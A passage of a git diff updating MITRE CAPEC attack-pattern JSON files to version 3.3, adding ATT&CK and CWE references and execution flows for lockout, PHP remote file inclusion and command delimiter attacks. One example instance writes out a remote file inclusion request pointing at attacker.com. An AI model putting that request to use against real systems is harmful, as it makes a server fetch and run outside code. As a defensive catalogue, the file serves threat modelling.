    Attempt to create accounts if possible; system should indicate if a user ID is already taken.
    Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts.

Exploit

  1. Lock Out Accounts: Perform lockout procedure for all accounts that the attacker wants to lock out.

    2. Techniques
    For each user ID to be locked out, perform the lockout procedure discovered in the first step.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The system has a lockout mechanism.", @@ -48,7 +49,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4f206bf0-ddaa-49e3-8dd8-6f578082c8e0.json b/capec/attack-pattern/attack-pattern--4f206bf0-ddaa-49e3-8dd8-6f578082c8e0.json index a745c78d50..c2e2e6fea7 100644 --- a/capec/attack-pattern/attack-pattern--4f206bf0-ddaa-49e3-8dd8-6f578082c8e0.json +++ b/capec/attack-pattern/attack-pattern--4f206bf0-ddaa-49e3-8dd8-6f578082c8e0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7d66e6d8-1628-41ed-bd7c-1de68374f945", + "id": "bundle--8dad56b6-229d-4ec3-aebb-c1f5d2b5e21c", "spec_version": "2.0", "objects": [ { @@ -75,7 +75,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--505cd025-b5c5-4393-a228-addace874465.json b/capec/attack-pattern/attack-pattern--505cd025-b5c5-4393-a228-addace874465.json index 0de8661053..89629d3104 100644 --- a/capec/attack-pattern/attack-pattern--505cd025-b5c5-4393-a228-addace874465.json +++ b/capec/attack-pattern/attack-pattern--505cd025-b5c5-4393-a228-addace874465.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7a697435-3ea7-4d7d-9e80-693f76845ccd", + "id": "bundle--e7e205e3-2c20-4bae-8e90-07e7acb67580", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb.json b/capec/attack-pattern/attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb.json index f3cde3a552..84f9a6b85e 100644 --- a/capec/attack-pattern/attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb.json +++ b/capec/attack-pattern/attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bfc6289d-b16e-4802-8ebd-c197630e12ec", + "id": "bundle--344065ac-0f85-4704-b371-81abfdc58b84", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "PHP Remote File Inclusion", "description": "In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized \"include\" or \"require\" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.", "external_references": [ @@ -81,8 +81,9 @@ ] }, "x_capec_example_instances": [ - "\n \n \n The adversary controls a PHP script on a server \"http://attacker.com/rfi.txt\"\n The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')\n The adversary creates an HTTP request that passes his own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the \".txt\" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.\n \n \n " + "\n \n \n The adversary controls a PHP script on a server \"http://attacker.com/rfi.txt\"\n The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')\n The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the \".txt\" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.\n \n \n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey application: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.

    2. Techniques
    Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.
    Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.

Exploit

  1. Run arbitrary server-side code: As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.

    2. Techniques
    Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Target application server must allow remote files to be included in the \"require\", \"include\", etc. PHP directives", @@ -97,7 +98,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b.json b/capec/attack-pattern/attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b.json index 2033f4fdb6..52d2a4a7d6 100644 --- a/capec/attack-pattern/attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b.json +++ b/capec/attack-pattern/attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--db612ad7-9dc2-4e59-a15c-110389bbed07", + "id": "bundle--7211b24b-3cf0-4de9-a918-3dab995b981a", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--51d000d6-11a0-461b-98e7-8550beac027b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Altered Installed BIOS", "description": "An attacker with access to download and update system software sends a maliciously altered BIOS to the victim or victim supplier/integrator, which when installed allows for future exploitation.", "external_references": [ @@ -17,6 +17,12 @@ "url": "https://capec.mitre.org/data/definitions/532.html", "external_id": "CAPEC-532" }, + { + "source_name": "ATTACK", + "description": "Pre-OS Boot:System Firmware", + "url": "https://attack.mitre.org/wiki/Technique/T1542/001", + "external_id": "T1542.001" + }, { "source_name": "reference_from_CAPEC", "description": "John F. Miller, Supply Chain Attack Framework and Attack Patterns, 2013, The MITRE Corporation", @@ -42,7 +48,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a.json b/capec/attack-pattern/attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a.json index e2103d98c4..1d92a1fe4a 100644 --- a/capec/attack-pattern/attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a.json +++ b/capec/attack-pattern/attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d7fb333d-1681-4386-b903-ab92f5e2b1f4", + "id": "bundle--33afb409-87cf-4eca-9722-7aa13e884e42", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--52103765-d380-42fc-aa4d-a8b24615548a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Collect Data as Provided by Users", "description": "An attacker leverages a tool, device, or program to obtain specific information as provided by a user of the target system. This information is often needed by the attacker to launch a follow-on attack. This attack is different than Social Engineering as the adversary is not tricking or deceiving the user. Instead the adversary is putting a mechanism in place that captures the information that a user legitimately enters into a system. Deploying a keylogger, performing a UAC prompt, or wrapping the Windows default credential provider are all examples of such interactions.", "external_references": [ @@ -16,6 +16,24 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/569.html", "external_id": "CAPEC-569" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:GUI Input Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1056/002", + "external_id": "T1056.002" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:Web Portal Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1056/003", + "external_id": "T1056.003" + }, + { + "source_name": "ATTACK", + "description": "Input Capture:Credential API Hooking", + "url": "https://attack.mitre.org/wiki/Technique/T1056/004", + "external_id": "T1056.004" } ], "object_marking_refs": [ @@ -23,7 +41,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046.json b/capec/attack-pattern/attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046.json index d95d2ca107..1949b1fa06 100644 --- a/capec/attack-pattern/attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046.json +++ b/capec/attack-pattern/attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--55cafead-7f73-42f1-8e41-18d60ccf77d2", + "id": "bundle--555653c2-5afa-4a08-b0a1-e0b38eab5ab6", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--521348c2-b1df-492f-ac83-1f3ffe102046", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "File Content Injection", "description": "An attack of this type exploits the host's trust in executing remote content, including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the adversary and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The adversary exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the adversary knows the standard handling routines and can identify vulnerabilities and entry points, they can be exploited by otherwise seemingly normal content. Once the attack is executed, the adversary's program can access relative directories such as C:\\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.", "external_references": [ @@ -50,7 +50,7 @@ ] }, "x_capec_example_instances": [ - "\n PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs.\n [R.23.2]\n " + "\n PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs.\n [REF-88]\n " ], "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ @@ -62,7 +62,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--521fbe1c-28d6-4ca0-bc8b-6e2dbc91332e.json b/capec/attack-pattern/attack-pattern--521fbe1c-28d6-4ca0-bc8b-6e2dbc91332e.json index 509cd754c0..ffc2d4d4e0 100644 --- a/capec/attack-pattern/attack-pattern--521fbe1c-28d6-4ca0-bc8b-6e2dbc91332e.json +++ b/capec/attack-pattern/attack-pattern--521fbe1c-28d6-4ca0-bc8b-6e2dbc91332e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fa8b8f2a-e78a-4627-b568-864877700190", + "id": "bundle--f479f8c6-a9ee-4365-973d-97216f08fdf6", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--52b5f7dc-228b-44d5-865a-e4595b227ba2.json b/capec/attack-pattern/attack-pattern--52b5f7dc-228b-44d5-865a-e4595b227ba2.json index 83d2afb718..01c3188e15 100644 --- a/capec/attack-pattern/attack-pattern--52b5f7dc-228b-44d5-865a-e4595b227ba2.json +++ b/capec/attack-pattern/attack-pattern--52b5f7dc-228b-44d5-865a-e4595b227ba2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d42f7f64-cbd9-4256-9d5e-8e8da7aa96ac", + "id": "bundle--472706da-95f6-4853-9dcc-a6f693385c8e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--52b5f7dc-228b-44d5-865a-e4595b227ba2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Using Invalid Characters", "description": "An adversary inserts invalid characters in identifiers to bypass application filtering of input. Filters may not scan beyond invalid characters but during later stages of processing content that follows these invalid characters may still be processed. This allows the attacker to sneak prohibited commands past filters and perform normally prohibited operations. Invalid characters may include null, carriage return, line feed or tab in an identifier. Successful bypassing of the filter can result in a XSS attack, resulting in the disclosure of web cookies or possibly other results.", "external_references": [ @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4.json b/capec/attack-pattern/attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4.json index 12bd772fce..a400817df4 100644 --- a/capec/attack-pattern/attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4.json +++ b/capec/attack-pattern/attack-pattern--556f08be-d926-448c-b2c2-88a817a170a4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--28e6c052-ed8c-4ed8-a2e7-86779c83656f", + "id": "bundle--e8dfb2d3-a223-4af5-84ef-7ee4fa85ba69", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--55c6c2d2-1850-4263-97eb-e47c9b9a7a4b.json b/capec/attack-pattern/attack-pattern--55c6c2d2-1850-4263-97eb-e47c9b9a7a4b.json index a590298aa6..15b8f91b2b 100644 --- a/capec/attack-pattern/attack-pattern--55c6c2d2-1850-4263-97eb-e47c9b9a7a4b.json +++ b/capec/attack-pattern/attack-pattern--55c6c2d2-1850-4263-97eb-e47c9b9a7a4b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f627e502-b704-4a83-a327-4aa59daba537", + "id": "bundle--9fde9fdf-966d-40b8-83f9-908fba7954e3", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8.json b/capec/attack-pattern/attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8.json index 532145fb8c..d35e91a863 100644 --- a/capec/attack-pattern/attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8.json +++ b/capec/attack-pattern/attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--23fac097-3c6d-452d-b133-1973162c437b", + "id": "bundle--1265a2f4-e13d-4117-ac11-e454e0113527", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--55ce63d0-6143-4b95-b70c-87c5b60aafa8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Retrieve Embedded Sensitive Data", "description": "An attacker examines a target system to find sensitive data that has been embedded within it. This information can reveal confidential contents, such as account numbers or individual keys/credentials that can be used as an intermediate step in a larger attack.", "external_references": [ @@ -17,6 +17,11 @@ "url": "https://capec.mitre.org/data/definitions/37.html", "external_id": "CAPEC-37" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/226.html", + "external_id": "CWE-226" + }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/311.html", @@ -46,6 +51,37 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/318.html", "external_id": "CWE-318" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1266.html", + "external_id": "CWE-1266" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1272.html", + "external_id": "CWE-1272" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1278.html", + "external_id": "CWE-1278" + }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Private Keys", + "url": "https://attack.mitre.org/wiki/Technique/T1552/004", + "external_id": "T1552.004" } ], "object_marking_refs": [ @@ -72,6 +108,7 @@ "An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents.", "Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify Target: Attacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), configuration files, or other system files.

    2. Techniques
    Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats.
    Package listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack.

Experiment

  1. Apply mining techniques: The attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to extract the information of interest.

    2. Techniques
    API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information.
    Execution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness.
    Common decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on.
    Common data typing. The attacker looks for common file signatures for well-known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, they attempt decoding in that format.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "In order to feasibly execute this type of attack, some valuable data must be present in client software.", @@ -85,7 +122,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4.json b/capec/attack-pattern/attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4.json index 02aab98f83..c65c5684b8 100644 --- a/capec/attack-pattern/attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4.json +++ b/capec/attack-pattern/attack-pattern--56b4150a-10fd-42cd-85ff-1063625ec5f4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0da1405f-fb36-4a0d-bb6a-b1863eb264fb", + "id": "bundle--b0b63f45-f204-45ea-9dfd-2b090b098f4d", "spec_version": "2.0", "objects": [ { @@ -42,7 +42,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--576968ad-12ef-46d8-bb10-63f496bcaccb.json b/capec/attack-pattern/attack-pattern--576968ad-12ef-46d8-bb10-63f496bcaccb.json index 3dc0b15801..5033eba017 100644 --- a/capec/attack-pattern/attack-pattern--576968ad-12ef-46d8-bb10-63f496bcaccb.json +++ b/capec/attack-pattern/attack-pattern--576968ad-12ef-46d8-bb10-63f496bcaccb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1fddb420-e092-4e8f-8773-2276aeb631b4", + "id": "bundle--26e67474-712d-45a0-bb6f-e3e93ccbb865", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ] }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--57a56016-e387-456e-badf-a60523e58277.json b/capec/attack-pattern/attack-pattern--57a56016-e387-456e-badf-a60523e58277.json index 88cafbbe7e..c7f58538eb 100644 --- a/capec/attack-pattern/attack-pattern--57a56016-e387-456e-badf-a60523e58277.json +++ b/capec/attack-pattern/attack-pattern--57a56016-e387-456e-badf-a60523e58277.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0ab45b8d-1863-4e88-b346-2d3d362ff139", + "id": "bundle--82d3782d-655b-412e-b2dd-8e4ed18580fc", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--57a56016-e387-456e-badf-a60523e58277", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Influence Perception of Liking", - "description": "The adversary influences the target's actions by building a relationship where the target has a liking to the adversary. People are more likely to be influenced by people of whom they are fond, so the adversary attempts to ingratiate his or herself with the target via actions, appearance, or a combination thereof.", + "description": "The adversary influences the target's actions by building a relationship where the target has a liking to the adversary. People are more likely to be influenced by people of whom they are fond, so the adversary attempts to ingratiate themself with the target via actions, appearance, or a combination thereof.", "external_references": [ { "source_name": "capec", @@ -48,7 +48,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817.json b/capec/attack-pattern/attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817.json index 16072681cf..5864cd1762 100644 --- a/capec/attack-pattern/attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817.json +++ b/capec/attack-pattern/attack-pattern--57b78312-1077-4e31-b3a2-5efb96a6c817.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3da4f38a-300e-42c8-9d83-4a90e2ea21f9", + "id": "bundle--26497e1e-4117-428c-8c56-7fb555a8327f", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc.json b/capec/attack-pattern/attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc.json index 3497fc86eb..d0665449e8 100644 --- a/capec/attack-pattern/attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc.json +++ b/capec/attack-pattern/attack-pattern--581433c0-1d73-4975-80f1-6dcee4761bbc.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d3c3fca9-035e-4ab8-a448-16d3a06b2dd8", + "id": "bundle--490be2e6-4bff-4958-a62e-69b51a2143f1", "spec_version": "2.0", "objects": [ { @@ -59,7 +59,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--582943a5-d66c-48a9-8cf8-76e511222c7d.json b/capec/attack-pattern/attack-pattern--582943a5-d66c-48a9-8cf8-76e511222c7d.json index b064236021..ce7cf5b432 100644 --- a/capec/attack-pattern/attack-pattern--582943a5-d66c-48a9-8cf8-76e511222c7d.json +++ b/capec/attack-pattern/attack-pattern--582943a5-d66c-48a9-8cf8-76e511222c7d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2702c5a8-5841-45a3-85cd-4bf9cb04dfcf", + "id": "bundle--23a68d48-a0e8-42bd-a77c-fde8de990b5b", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--582943a5-d66c-48a9-8cf8-76e511222c7d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Command Delimiters", - "description": "An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.", + "description": "An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.", "external_references": [ { "source_name": "capec", @@ -102,6 +102,7 @@ "x_capec_example_instances": [ "\n By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior.\n LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Assess Target Runtime Environment: In situations where the runtime environment is not implicitly known, the attacker makes connections to the target system and tries to determine the system's runtime environment. Knowing the environment is vital to choosing the correct delimiters.

    2. Techniques
    Port mapping using network connection-based software (e.g., nmap, nessus, etc.)
    Port mapping by exploring the operating system (netstat, sockstat, etc.)
    TCP/IP Fingerprinting
    Induce errors to find informative error messages

  2. Survey the Application: The attacker surveys the target application, possibly as a valid and authenticated user

    3. Techniques
    Spidering web sites for all available links
    Inventory all application inputs

Experiment

  1. Attempt delimiters in inputs: The attacker systematically attempts variations of delimiters on known inputs, observing the application's response each time.

    2. Techniques
    Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)
    Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)
    Enter command delimiters directly in input fields.

Exploit

  1. Use malicious command delimiters: The attacker uses combinations of payload and carefully placed command delimiters to attack the software.

